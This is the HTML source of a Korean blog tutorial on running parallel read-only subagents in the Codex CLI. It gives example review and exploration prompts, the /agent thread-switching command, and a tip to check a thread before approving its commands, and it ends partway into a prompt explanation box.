&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 2 &amp;mdash; 브랜치 병렬 리뷰&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0 4px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Review this branch with parallel subagents.
Spawn one subagent for security risks, one for test gaps,
and one for maintainability.
Wait for all three, then summarize the findings by category
with file references.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 4px 0 4px; font-size: 0.85em; color: #999;&quot; data-ke-size=&quot;size16&quot;&gt;한국어 버전:&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 0 0 16px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;이 브랜치를 병렬 서브에이전트로 리뷰해라.
보안 리스크를 볼 에이전트, 테스트 빈틈을 볼 에이전트, 유지보수성을 볼 에이전트를 각각 하나씩 띄워라.
세 결과가 모두 나오면 파일 경로와 함께 카테고리별로 요약하라.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 가지 관점(보안&amp;middot;테스트&amp;middot;유지보수성)을 각각의 서브에이전트에 맡기고, 모든 결과를 기다린 뒤 카테고리별로 정리하게 하는 예시다. 여기서도 &quot;누가 무엇을 볼지&quot;, &quot;모든 결과를 기다릴지&quot;, &quot;어떤 형식으로 요약할지&quot;를 노골적으로 적는 것이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 3 &amp;mdash; PR 6개 관점 분산 리뷰&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0 4px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;I would like to review the following points on the current PR
(this branch vs main).
Spawn one agent per point, wait for all of them, and summarize
the result for each point.
1. Security issue
2. Code quality
3. Bugs
4. Race
5. Test flakiness
6. Maintainability of the code&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 4px 0 4px; font-size: 0.85em; color: #999;&quot; data-ke-size=&quot;size16&quot;&gt;한국어 버전:&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 0 0 16px;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;현재 PR(이 브랜치 vs main)을 아래 관점으로 리뷰해라.
항목마다 에이전트를 하나씩 띄우고, 모두 끝나면 항목별로 결과를 요약하라.
1. 보안 이슈
2. 코드 품질
3. 버그
4. 경쟁 조건 (race condition: 동시 실행 시 순서가 꼬이는 문제)
5. 테스트 불안정성 (test flakiness: 가끔만 실패하는 테스트)
6. 코드 유지보수성&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;체크리스트 형태로 관점을 적으면 Codex가 항목마다 서브에이전트를 하나씩 배정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 6개 에이전트는 기초 실습으로는 많다. (토큰 낭비로 이어질수도 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;큰 PR에서 비용과 대기 시간을 감수할 만할 때만 쓰고, 평소에는 2~3개 관점부터 시작하는 편이 낫다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;서브에이전트 문서&lt;/a&gt; 참조).&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;Goal / Constraints / Completion을 더 정밀하게: prompt-blocks&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;위 패턴이 익숙해졌다면 XML 블록으로 각 역할을 명시적으로 분리하는 방식으로 한 단계 올릴 수 있다. 긴 프롬프트에서 에이전트가 Goal과 Constraints를 혼동하는 경우에 효과적이다.&lt;/p&gt;
&lt;pre class=&quot;xml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; overflow-x: auto; margin: 8px 0;&quot; data-ke-language=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;task&amp;gt;
  이 브랜치의 보안 리스크와 테스트 갭을 병렬로 분석한다.
&amp;lt;/task&amp;gt;
&amp;lt;action_safety&amp;gt;
  파일 수정 금지. 읽기만 허용.
&amp;lt;/action_safety&amp;gt;
&amp;lt;completeness_contract&amp;gt;
  두 서브에이전트 결과가 모두 반환되면 완료.
  파일 경로와 줄 번호를 포함해 요약한다.
&amp;lt;/completeness_contract&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&amp;lt;task&amp;gt;&lt;/code&gt;는 Goal, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&amp;lt;action_safety&amp;gt;&lt;/code&gt;는 Constraints, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&amp;lt;completeness_contract&amp;gt;&lt;/code&gt;는 Completion과 대응된다. 처음에는 위 자연어 패턴이 충분하다. 프롬프트가 길어지고 에이전트 동작이 예상과 달라질 때 이 구조로 바꿔보면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.4 /agent 명령으로 스레드 확인하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트가 실행 중일 때 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt; 슬래시 명령을 쓰면 각 에이전트의 작업창으로 이동할 수 있다. 슬래시 명령은 Codex CLI 안에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/&lt;/code&gt;로 시작하는 명령어다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 슬래시 명령 문서에 따르면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt;의 역할은 다음과 같이 정의되어 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-left: 4px solid #6c757d; border-radius: 0 8px 8px 0; margin: 20px 0; font-style: italic; color: #555;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;/agent &amp;mdash; Switch the active agent thread. Inspect or continue work in a spawned subagent thread.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0; font-size: 0.9em; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(번역) &quot;/agent &amp;mdash; 활성 에이전트 스레드를 전환한다. 생성된 서브에이전트 스레드의 작업을 확인하거나 이어서 진행할 수 있다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 서브에이전트가 동시에 실행될 때는 현재 CLI 세션 안에서 각 스레드에 들어가 중간 상태를 보거나 추가 지시를 줄 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 꼭 필요한 경우에만 확인하면 된다. 너무 자주 끼어들면 병렬 작업의 장점이 줄어든다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/cli/slash-commands&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CLI 슬래시 명령 문서&lt;/a&gt; 참조).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 상기 예시중 3개의 서브 에이전트를 띄운 상황에서 /agent 입력&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;202&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpmPjo%2FdJMcaayuMFs%2FDc9uwc3HtccjwLAyt8pXO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;359&quot; height=&quot;96&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;202&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 메인 에이전트 이외에 3개의 에이전트가 확인된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1032&quot; data-origin-height=&quot;306&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckgeyz/dJMcaayuMJB/vHynCAU8aTUk9Mrs3Dd4Q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckgeyz/dJMcaayuMJB/vHynCAU8aTUk9Mrs3Dd4Q1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckgeyz/dJMcaayuMJB/vHynCAU8aTUk9Mrs3Dd4Q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fckgeyz%2FdJMcaayuMJB%2FvHynCAU8aTUk9Mrs3Dd4Q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1032&quot; height=&quot;306&quot; data-origin-width=&quot;1032&quot; data-origin-height=&quot;306&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 이중 3번째 code-reviewer 를 선택하면 실제 작업 중인 내역도 확인 가능하.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2268&quot; data-origin-height=&quot;1404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQrYRo/dJMcaayuMLC/W3REsDco98YayFRLnBB0y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQrYRo/dJMcaayuMLC/W3REsDco98YayFRLnBB0y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQrYRo/dJMcaayuMLC/W3REsDco98YayFRLnBB0y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQrYRo%2FdJMcaayuMLC%2FW3REsDco98YayFRLnBB0y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2268&quot; height=&quot;1404&quot; data-origin-width=&quot;2268&quot; data-origin-height=&quot;1404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 18px 0;&quot;&gt;&lt;b&gt;승인 요청이 뜨면 먼저 출처를 확인한다&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;서브에이전트가 여러 개일 때는 내가 보고 있지 않은 에이전트 스레드에서 명령 승인 요청이 올라올 수 있다. 이때는 바로 허용하지 말고 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt;로 해당 스레드를 열어 어떤 작업 중인지 확인한 뒤 승인한다. 특히 파일 수정, 네트워크 접근, 테스트 실행처럼 부작용이 있을 수 있는 명령은 이 확인 절차가 중요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 공식 문서는 서브에이전트 활동을 Codex 앱과 CLI에서 확인할 수 있고, IDE에서의 가시성은 별도로 안내 중이라고 설명한다. 그래서 이 글의 실습은 CLI 기준으로 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3.5 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.5 따라 해보는 실전 멀티 에이전트 프롬프트 4가지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개념만 읽으면 &quot;언제 써야 하지?&quot;가 막연하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 복붙해서 써볼 수 있는 프롬프트를 준비했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습 내용은 가장 안전한 읽기 전용 예시이고, 예시 A에서 C로 갈수록 에이전트 협업 복잡도가 올라간다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9c27b0; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;직접 해보자 &amp;mdash; 바이브 코딩 버전&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;구조 몰라도 된다. 이 한 줄을 그대로 Codex에 붙여넣어 보자.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;main 브랜치와 비교해서 바뀐 파일들을 보안 리스크와 테스트 갭, 두 관점으로 병렬로 분석해줘. 파일 수정 금지. 파일 경로와 줄 번호 포함해서 각각 요약해줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;두 개의 에이전트가 뜨고, 결과가 &quot;보안 리스크 / 테스트 갭&quot; 두 섹션으로 나눠 오면 이 편의 핵심을 이해한 것이다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 실제 의도 파악을 하는지 테스트 하였고 그 결과&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 읽기 전용 및 보인/테스크 갭 분리하여 2개의 병렬 검토 진행 성공&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2050&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsYU2V/dJMcahj6z1d/j7H31a5ZE6U2TZoF7kjogK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsYU2V/dJMcahj6z1d/j7H31a5ZE6U2TZoF7kjogK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsYU2V/dJMcahj6z1d/j7H31a5ZE6U2TZoF7kjogK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsYU2V%2FdJMcahj6z1d%2Fj7H31a5ZE6U2TZoF7kjogK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2050&quot; height=&quot;338&quot; data-origin-width=&quot;2050&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 18px 0;&quot;&gt;&lt;b&gt;실전 예시에 공통으로 들어가는 패턴&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Goal&lt;/b&gt;: 에이전트가 달성할 결과를 한 문장으로&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Setup&lt;/b&gt;: 컨텍스트 &amp;mdash; 저장소, 브랜치, 파일 경로&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Subagents&lt;/b&gt;: 에이전트별 역할과 산출 형식 명시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Constraints&lt;/b&gt;: 금지 사항 &amp;mdash; 특히 쓰기 제한&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Completion&lt;/b&gt;: 완료 판단 기준&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;border-left: 6px solid #5c7cfa; padding: 16px 20px; background-color: #f3f0ff; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;&lt;b&gt;에이전트가 많을수록 빠를까?&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;멀티스레딩 경험이 있는 개발자라면 본능적으로 &quot;에이전트 수 = 속도&quot;라고 느낀다. 틀린 직관이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트가 명확한 에이전트 하나 &amp;gt; 역할이 흐릿한 에이전트 셋.&lt;/b&gt; 분담이 모호하면 세 방향으로 흩어질 뿐이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;대표적으로 효과가 나는 경우는 세 가지다. 독립적인 읽기 전용 탐색, 같은 산출물에 다른 관점을 동시에 적용하는 리뷰, 가벼운 탐색과 무거운 최종 판단을 나누는 흐름이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;첫 실습 &amp;mdash; 현재 저장소를 읽기만 해서 요약하기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 먼저 해볼 실습은 파일을 수정하지 않는 저장소 탐색이다. 아래 프롬프트는 현재 작업 폴더에서 구조, 테스트 위치, 패키지 관리 흔적만 읽고 짧게 요약하게 한다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Use two parallel subagents for read-only exploration.
Do not edit files and do not run install commands.

Agent 1: inspect the top-level folders and summarize the project structure in 5 lines.
Agent 2: find test folders and package manager files, then summarize them in 5 lines.

Wait for both agents and return:
1. Project structure summary
2. Test/package summary
3. One next command I should run manually to verify the project&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 2개의 읽기 전용 서브에이전트를 띄워 일하는 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2042&quot; data-origin-height=&quot;622&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sOgMY/dJMcacwjxja/dlS7SMkvJYpM5tA7o1xdL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sOgMY/dJMcacwjxja/dlS7SMkvJYpM5tA7o1xdL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sOgMY/dJMcacwjxja/dlS7SMkvJYpM5tA7o1xdL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsOgMY%2FdJMcacwjxja%2FdlS7SMkvJYpM5tA7o1xdL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2042&quot; height=&quot;622&quot; data-origin-width=&quot;2042&quot; data-origin-height=&quot;622&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AoyCD/dJMb99TRtbS/GC4LMFKhdqmIh9pw1zohrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AoyCD/dJMb99TRtbS/GC4LMFKhdqmIh9pw1zohrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AoyCD/dJMb99TRtbS/GC4LMFKhdqmIh9pw1zohrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAoyCD%2FdJMb99TRtbS%2FGC4LMFKhdqmIh9pw1zohrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2078&quot; height=&quot;1036&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f8fbff; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;기대 결과&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;좋은 결과는 길지 않다. 예를 들어 &quot;src는 앱 코드, tests는 회귀 테스트, package.json 기준 npm 프로젝트, 다음 확인 명령은 npm test&quot;처럼 짧은 구조 요약과 수동 검증 명령 하나가 나오면 충분하다. 처음부터 파일 수정까지 맡기지 않는 이유는, 서브에이전트가 어떻게 결과를 합치는지 먼저 확인하기 위해서다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 A &amp;mdash; 낯선 저장소 첫 탐색: 구조&amp;middot;테스트&amp;middot;의존성 동시에&lt;/h4&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2146&quot; data-origin-height=&quot;1166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cn6TU5/dJMcag6wTSV/XAwy6n2glFGkR4qukoYZSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cn6TU5/dJMcag6wTSV/XAwy6n2glFGkR4qukoYZSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cn6TU5/dJMcag6wTSV/XAwy6n2glFGkR4qukoYZSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcn6TU5%2FdJMcag6wTSV%2FXAwy6n2glFGkR4qukoYZSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2146&quot; height=&quot;1166&quot; data-origin-width=&quot;2146&quot; data-origin-height=&quot;1166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;새 프로젝트에 처음 들어갔을 때 &quot;디렉토리 구조가 어떻게 되지? 테스트는 어디까지 있지? 외부 의존성은 뭐가 있지?&quot;를 순서대로 확인하면 시간이 꽤 걸린다. 세 에이전트가 동시에 읽어서 요약하면 전체 그림을 더 빨리 잡을 수 있다. 세 에이전트 모두 읽기만 하므로 충돌 가능성이 낮다.&lt;/p&gt;
&lt;pre class=&quot;code-block http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Goal: 낯선 저장소의 전체 그림을 빠르게 파악한다.

Setup:
  저장소: github.com/example/myproject (로컬 클론 완료)
  브랜치: main

Subagents:
  - structure-agent: src/ 하위 디렉토리 구조와 주요 파일 역할을
      3~5줄 요약으로 돌려줘. 파일을 수정하면 안 된다.
  - test-agent: tests/ 또는 __tests__/ 폴더를 훑어서 테스트가
      어느 모듈까지 커버하는지 3줄로 요약해 줘. 파일을 수정하면 안 된다.
  - deps-agent: package.json 또는 requirements.txt를 읽고
      핵심 외부 의존성 5개와 용도를 정리해 줘. 파일을 수정하면 안 된다.

Constraints:
  - 세 에이전트 모두 파일 수정, 실행, 설치 금지
  - 요약은 각 에이전트 역할 범위 안에서만

Completion:
  세 에이전트 요약을 모아 &quot;저장소 첫인상 보고서&quot;를 한 블록으로 출력한다.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;프롬프트 줄별 해설&lt;/b&gt;
